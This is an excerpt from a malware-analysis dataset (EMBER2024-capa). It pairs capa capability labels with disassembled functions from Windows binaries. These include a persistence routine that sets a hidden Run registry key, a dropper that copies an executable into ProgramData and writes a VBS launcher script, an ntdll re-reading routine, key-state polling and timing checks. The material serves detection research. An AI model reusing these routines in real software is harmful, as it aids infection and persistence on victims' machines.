joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001110
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x40
xor ebp, ebp
lea r9, [rsp + 0x60]
lea rcx, [0x18001b8e0]
lea edx, [rbp + 0x17]
lea r8d, [rbp + 0x40]
mov dword [rsp + 0x60], ebp
mov dword [rsp + 0x68], ebp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x30], rbp
lea r8d, [rbp + 1]
lea rcx, str.c:windows_system32_ntdll.dll
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor edx, edx
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r9, [rsp + 0x68]
mov r8d, edi
mov rcx, rsi
mov rdx, rax
mov qword [rsp + 0x20], rbp
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
movsxd rdx, dword [rbx + 0x3c]
add rdx, rbx
mov r9d, ebp
movzx ecx, word [rdx + 0x14]
movzx r10d, word [rdx + 6]
lea r8, [rdx + 0x18]
add r8, rcx
mov rdi, r8
mov r11, r8
test r10d, r10d
jle 0x180001207
lea rsi, str..rdata
nop
mov rax, rbp
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
inc rax
cmp cl, byte [rsi + rax - 1]
jne 0x180001243
cmp rax, 7
jne 0x1800011f0
mov r11, r8
mov ecx, dword [r11 + 0xc]
mov r8d, dword [r11 + 0x14]
mov edx, dword [rdx + 0x88]
sub r8, rcx
mov r9, rdi
mov qword [rsp + 0x20], r11
lea rcx, [rbx + r8]
mov r8, rbx
add rdx, rcx
call section..text
mov rbx, qword [rsp + 0x70]
lea rax, [0x18001b8e0]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
inc r9d
add r8, 0x28
cmp r9d, r10d
jl 0x1800011e0
jmp 0x180001207
Function at 0x180001990
Capabilities:
Persist via run registry key

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x350], rax
xor eax, eax
xor edi, edi
mov rbx, rcx
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
mov qword [rsp + 0x32], rax
mov dword [rsp + 0x3a], eax
mov word [rsp + 0x3e], ax
call fcn.180001110
movaps xmm0, xmmword [0x180013700]
movaps xmm1, xmmword [0x180013710]
mov ecx, dword [0x180013758]
xor edx, edx
mov r8d, 0x1a4
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [0x180013720]
movaps xmmword [rsp + 0x60], xmm1
mov dword [rbp - 0x58], ecx
lea rcx, [rbp - 0x54]
mov rsi, rax
movaps xmm1, xmmword [0x180013730]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [0x180013740]
movaps xmmword [rbp - 0x80], xmm1
movaps xmmword [rbp - 0x70], xmm0
movsd xmm1, qword [0x180013750]
movsd qword [rbp - 0x60], xmm1
call fcn.180005280
movaps xmm0, xmmword [0x180013760]
movaps xmm1, xmmword [0x180013770]
lea rcx, [rbp + 0x1b0]
xor edx, edx
mov r8d, 0x1a0
movaps xmmword [rbp + 0x150], xmm0
movaps xmm0, xmmword [0x180013780]
movaps xmmword [rbp + 0x160], xmm1
movaps xmm1, xmmword [0x180013790]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [0x1800137a0]
movaps xmmword [rbp + 0x180], xmm1
movaps xmm1, xmmword [0x1800137b0]
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x1a0], xmm1
call fcn.180005280
lea rax, [rbp + 0x150]
lea r9d, [rdi + 2]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x40]
lea rdx, [rsp + 0x50]
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x30], 0x16
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
test eax, eax
jne 0x180001b5e
or rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], 0
jne 0x180001af1
mov rcx, qword [rsp + 0x40]
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call rsi
mov ebx, eax
test eax, eax
jne 0x180001b3a
lea rcx, str.SUCCESS_setting_hidden_run_value__n
call fcn.180001de8
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x180001b75
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.FAILURE_setting_hidden_run_value___setRet__0x_X__GLE_____d__n
mov edx, ebx
mov r8d, eax
call fcn.180001de8
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x180001b75
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.FAILURE_opening_RUN_key_in_registry___openRet__0x_X__GLE_____d__n
mov edx, edi
mov r8d, eax
call fcn.180001de8
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.180001db0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180001ba0
Capabilities:
Copy file
Create directory
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x690
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x680], rax
lea rcx, [rsp + 0x52]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], di
call fcn.180005280
lea rcx, [rsp + 0x472]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x470], di
call fcn.180005280
lea rcx, [rsp + 0x262]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x260], di
call fcn.180005280
lea rdx, [rsp + 0x470]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.C:ProgramData
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.3Q8Szx5vLnKmK4J5
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str._fix.vbs
lea rcx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.zE82pU1zWkmBbbKH.exe
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x470]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rsp + 0x260]
call fcn.180001990
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x260]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001d1a
lea r9, [rsp + 0x40]
lea rdx, str.Dim_objShell_r_nSet_objShell__WScript.CreateObject___WScript.Shell____r_nobjShell.Run____C:ProgramData3Q8Szx5vLnKmK4J5zE82pU1zWkmBbbKH.exe_____r_nSet_objShell__Nothing
mov r8d, 0xa6
mov rcx, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180001d1a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.180001db0
mov rbx, qword [rsp + 0x6a0]
add rsp, 0x690
pop rdi
ret
Function at 0x411c80
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x411e26
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.0042c800
xorps xmm15, xmm15
mov r14, qword [0x0051af00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x411ceb
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x411d00
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
nop
test rbx, rbx
jbe 0x411d25
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x411d39
cmp rbx, 0x1000
jae 0x411cf5
nop dword [rax]
jmp 0x411da9
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x411d4d
xor edx, edx
jmp 0x411da0
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.0042c800
xorps xmm15, xmm15
mov r14, qword [0x0051af00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop dword [rax]
test dl, dl
jne 0x411d2f
jmp 0x411d14
call fcn.00458a00
xorps xmm15, xmm15
mov r14, qword [0x0051af00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00430c00
lea rax, [0x0046cec4]
mov ebx, 0x18
call fcn.00431500
mov rax, qword [rsp + 0x38]
call fcn.00431200
lea rax, [0x0046cf6c]
mov ebx, 0x19
call fcn.00431500
mov rax, qword [rsp + 0x30]
nop
call fcn.00431200
call fcn.00430e60
call fcn.00430c80
lea rax, [0x0046e2cf]
mov ebx, 0x21
nop dword [rax + rax]
call fcn.0042f2c0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00454ec0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.00411c80
Function at 0x411e60
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41208a
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.0042c880
xorps xmm15, xmm15
mov r14, qword [0x0051af00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x411ed9
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x411eec
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x411f10
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
nop
jmp 0x411f24
cmp rbx, 0x1000
jae 0x411ee3
jmp 0x411fa5
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x411f36
xor esi, esi
jmp 0x411f96
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax]
call fcn.0042c880
xorps xmm15, xmm15
mov r14, qword [0x0051af00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x411f1a
nop
jmp 0x411f02
call fcn.00458a00
xorps xmm15, xmm15
mov r14, qword [0x0051af00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x412025
call fcn.00430c00
lea rax, [0x0046d0e3]
mov ebx, 0x19
call fcn.00431500
mov rax, qword [rsp + 0x68]
call fcn.00431200
lea rax, [0x0046cf6c]
mov ebx, 0x19
call fcn.00431500
mov eax, dword [rsp + 0x34]
nop dword [rax]
call fcn.00431200
call fcn.00430e60
call fcn.00430c80
lea rax, [0x0046bae8]
mov ebx, 0xd
nop dword [rax + rax]
call fcn.0042f2c0
cmp eax, 0x5af
je 0x411fc8
call fcn.00430c00
lea rax, [0x0046d0e3]
mov ebx, 0x19
nop dword [rax]
call fcn.00431500
mov rax, qword [rsp + 0x38]
call fcn.00431200
lea rax, [0x0046cf6c]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00431500
mov eax, dword [rsp + 0x34]
call fcn.00431200
call fcn.00430e60
call fcn.00430c80
lea rax, [0x0046de2b]
mov ebx, 0x1f
call fcn.0042f2c0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00454ec0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00411e60
Function at 0x419640
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x0051ad2e], 0
jne 0x41972f
mov rdx, qword [rax + 0x50]
test byte [rdx], al
nop
nop
nop
sub rbx, qword [rax + 0x18]
mov esi, dword [rax + 0x5c]
imul rbx, rsi
mov rsi, rbx
shr rbx, 0x20
shr rsi, 0x23
and ebx, 7
mov rdi, rcx
mov rcx, rbx
mov r8d, 1
shl r8d, cl
add rdx, rsi
lock or byte [rdx], r8b
nop
nop
mov rcx, qword [rax + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x419725
lea rbx, [0x004ed170]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and edx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx ebx, byte [rdx + rcx + 0x11440]
lea rdx, [rdx + rcx]
lea rdx, [rdx + 0x11440]
shr rax, 0xd
and eax, 7
mov rcx, rax
mov eax, 1
shl eax, cl
test al, bl
jne 0x419707
lock or byte [rdx], al
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1248], rdi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov ecx, 0x40
call fcn.00457500
lea rax, [0x0046f2a6]
mov ebx, 0x2c
nop dword [rax + rax]
call fcn.0042f2c0
nop
int3

Function at 0x41bb20
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41bc1e
sub rsp, 0x48
mov qword [rsp + 0x40], rbp
lea rbp, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 8], 0
jmp 0x41bb60
mov rax, qword [rsp + 0x50]
mov rcx, rdx
mov rbx, qword [rsp + 0x58]
nop
cmp qword [rsp + 8], rbx
jae 0x41bc0f
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov rax, rcx
call fcn.0041c6e0
nop dword [rax]
test rax, rax
je 0x41bc0f
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
lea rcx, [0x0041bc60]
mov qword [rsp + 0x10], rcx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rbx, [rsp + 0x10]
mov qword [rsp], rbx
call fcn.00454d80
xorps xmm15, xmm15
mov r14, qword [0x0051af00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
jne 0x41bbfd
xor eax, eax
jmp 0x41bc07
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x60]
test al, al
je 0x41bb52
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x40]
add rsp, 0x48
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.00454ec0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.0041bb20
Function at 0x43d6c0
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x43d82a
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x43d6d8
cmp edx, ecx
jne 0x43d818
nop dword [rax]
test rsi, rsi
jne 0x43d818
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x43d734
nop
call fcn.00458e60
xorps xmm15, xmm15
mov r14, qword [0x0051af00]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.0043d5c0
mov rcx, qword [0x004c8088]
mov rdx, qword [0x004c8080]
mov rbx, qword [rsp + 0x28]
mov esi, dword [rbx]
mov edi, esi
sar esi, 0x1f
shr esi, 0x1b
add esi, edi
mov r8d, esi
and esi, 0xffffffe0
sub edi, esi
test edi, edi
jl 0x43d813
cmp edi, 0x20
sbb esi, esi
sar r8d, 5
mov rax, rcx
mov ecx, edi
mov r9d, 1
shl r9d, cl
and r9d, esi
movsxd rsi, r8d
cmp rax, rsi
jbe 0x43d808
lea rcx, [rdx + rsi*4]
lock or dword [rcx], r9d
mov rcx, qword [0x004c8a30]
mov qword [rbx + 8], rcx
nop
mov rcx, rbx
mov qword [0x004c8a30], rbx
nop
mov edx, 1
lea rsi, [0x004c8a38]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1220]
shr rdx, 0x3d
test dl, dl
jne 0x43d7f7
nop
nop
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
xchg qword [rcx + 0x1220], rdx
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
lea rax, [0x0046ed69]
mov ebx, 0x28
call fcn.0042f2c0
mov rcx, rax
mov rax, rsi
call fcn.004574e0
call fcn.0042d980
lea rax, [0x0046e61d]
mov ebx, 0x23
call fcn.0042f2c0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00454ec0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.0043d6c0
Function at 0x180006120
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov edx, dword [rcx]
mov r9d, 0x138
mov r10, rcx
cmp edx, r9d
jne 0x180006187
lea r8, [rcx + 0x10]
movabs r11, 0xb5026f5aa96619e9
mov rdx, qword [r8]
xor rdx, qword [r8 - 8]
lea r8, [r8 + 8]
and rdx, 0xffffffff80000000
xor rdx, qword [r8 - 8]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r8 + 0x4d0]
xor rcx, rdx
mov qword [r8 + 0x9b0], rcx
sub r9, 1
jne 0x180006142
mov edx, dword [r10]
jmp 0x18000629a
cmp edx, 0x270
jb 0x18000629a
mov qword [rsp + 0x10], rbx
movabs r11, 0xb5026f5aa96619e9
lea rbx, [rcx + 0x9c8]
mov qword [rsp], rdi
mov r9, qword [rbx]
mov edi, 0x9c
nop word [rax + rax]
mov r8, qword [rbx + 8]
mov rdx, rbx
xor r9, r8
add rbx, 8
and r9, 0xffffffff80000000
xor r9, r8
movzx eax, r9b
and al, 1
neg al
sbb rcx, rcx
shr r9, 1
and rcx, r11
xor rcx, qword [rdx + 0x4e0]
xor rcx, r9
mov r9, r8
mov qword [rdx - 0x9c0], rcx
sub rdi, 1
jne 0x1800061c0
lea rbx, [r10 + 0xea8]
mov edi, 0x9b
mov r9, qword [rbx]
mov r8, qword [rbx + 8]
mov rdx, rbx
xor r9, r8
add rbx, 8
and r9, 0xffffffff80000000
xor r9, r8
movzx eax, r9b
and al, 1
neg al
sbb rcx, rcx
shr r9, 1
and rcx, r11
xor rcx, qword [rdx - 0xea0]
xor rcx, r9
mov r9, r8
mov qword [rdx - 0x9c0], rcx
sub rdi, 1
jne 0x180006212
mov rdx, qword [r10 + 8]
xor rdx, qword [r10 + 0x1380]
mov rdi, qword [rsp]
and rdx, 0xffffffff80000000
xor rdx, qword [r10 + 8]
mov rbx, qword [rsp + 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r10 + 0x4e0]
xor rcx, rdx
xor edx, edx
mov qword [r10 + 0x9c0], rcx
mov dword [r10], edx
mov eax, edx
xorps xmm0, xmm0
mov rcx, qword [r10 + rax*8 + 8]
lea eax, [rdx + 1]
mov dword [r10], eax
movabs rdx, 0x38eb3ffff6d3
mov rax, rcx
shr rax, 0x1d
and rax, qword [r10 + 0x1388]
xor rcx, rax
mov rax, rcx
and rax, rdx
shl rax, 0x11
xor rcx, rax
mov rax, rcx
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rcx, rax
mov rdx, rcx
shr rdx, 0x2b
xor rdx, rcx
js 0x180006300
cvtsi2sd xmm0, rdx
mulsd xmm0, qword [0x180270fa8]
add rsp, 8
ret
mov rax, rdx
and edx, 1
shr rax, 1
or rax, rdx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, qword [0x180270fa8]
add rsp, 8
ret
Function at 0x1800067b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rdi, qword [0x1802e0308]
mov rbx, r8
lea rsi, [rdi + 0x164]
lea rcx, [rdi + 0x16c]
mov dword [rsi], 1
call sub.VCRUNTIME140.dll_memcpy
mov dword [rdi + 0x168], ebx
add rbx, 8
je 0x18000688b
mov rax, qword [rdi]
test rax, rax
je 0x18000683b
mov rcx, qword [rax + 8]
cmp rcx, 0xffffffffffffffff
je 0x18000683b
test rsi, rsi
je 0x18000683b
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], 0
mov r8d, ebx
mov qword [rsp + 0x20], 0
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x18000683b
cmp dword [rsp + 0x40], ebx
je 0x18000688b
mov r8, qword [rdi + 0x18]
test r8, r8
je 0x18000685a
mov eax, dword [rdi + 8]
dec eax
test eax, 0xfffffffd
jne 0x18000685a
mov ecx, dword [rdi + 0x60]
lea rdx, [rdi + 0x64]
call r8
mov rbx, qword [rdi]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 8], 0xffffffffffffffff
xor al, al
mov byte [rbx], 0
mov dword [rdi + 8], 0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x48]
mov al, 1
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180010e30
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test rcx, rcx
je 0x180010e90
mov r8, qword [rcx]
test r8, r8
je 0x180010e90
mov r8, qword [r8 + 0x10]
mov eax, 0xffffffff
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [r8 + rcx], 0
jne 0x180010e50
test ecx, ecx
je 0x180010e8d
mov r9d, ecx
lea r10, [0x180243030]
nop dword [rax + rax]
movsx edx, byte [r8]
lea r8, [r8 + 1]
mov ecx, eax
shr eax, 8
xor rdx, rcx
movzx ecx, dl
xor eax, dword [r10 + rcx*4]
sub r9, 1
jne 0x180010e70
not eax
ret
xor eax, eax
ret

Function at 0x1800117f0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
test rcx, rcx
jne 0x1800117fd
xor eax, eax
jmp 0x180011876
mov r9, qword [rcx]
test r9, r9
jne 0x180011809
xor eax, eax
jmp 0x180011876
mov r9, qword [r9 + 0x10]
test r9, r9
jne 0x180011816
xor eax, eax
jmp 0x180011876
mov r10, r9
mov qword [rsp + 8], r9
xor edx, edx
mov r8d, 0xffffffff
lea r11, [0x180243030]
mov dword [rsp], edx
mov ecx, r8d
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [r9 + rax], 0
jne 0x180011840
cmp edx, eax
jae 0x18001186c
movsx eax, byte [r10]
xor rax, rcx
movzx ecx, al
shr r8d, 8
xor r8d, dword [r11 + rcx*4]
inc r10
mov qword [rsp + 8], r10
inc edx
jmp 0x18001182d
not r8d
mov eax, r8d
jmp 0x180011876
add rsp, 0x18
ret

Function at 0x180011f00
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [0x1802beb46], 0
mov rbx, rcx
je 0x180011f71
mov ecx, dword [0x1802bec1c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x180011f71
cmp dword [0x1802beb60], 1
jne 0x180011f71
lea rcx, [rbx + 0x98]
cmp rcx, 0x40000
jbe 0x180011f71
lea rax, [rcx + 8]
movabs rdx, 0x7fffffff0000
cmp rax, rdx
jae 0x180011f71
mov rcx, qword [rcx]
add rcx, 0x1dc
cmp rcx, 0x40000
jbe 0x180011f71
lea rax, [rcx + 4]
cmp rax, rdx
jae 0x180011f71
mov dword [rcx], 0x3c23d70a
add rsp, 0x20
pop rbx
ret

Function at 0x1800160e0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
sub rsp, 0x28
cmp byte [0x1802bea3c], 0
jne 0x180016140
lea rcx, [rsp + 0x30]
mov byte [0x1802bea3c], 1
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x38], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xorps xmm0, xmm0
xorps xmm1, xmm1
cvtsi2ss xmm0, qword [rsp + 0x38]
cvtsi2ss xmm1, qword [rsp + 0x30]
movss dword [0x1802bec48], xmm0
movss dword [0x1802bea9c], xmm1
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [rsp + 0x30]
subss xmm0, dword [0x1802bea9c]
divss xmm0, dword [0x1802bec48]
add rsp, 0x28
ret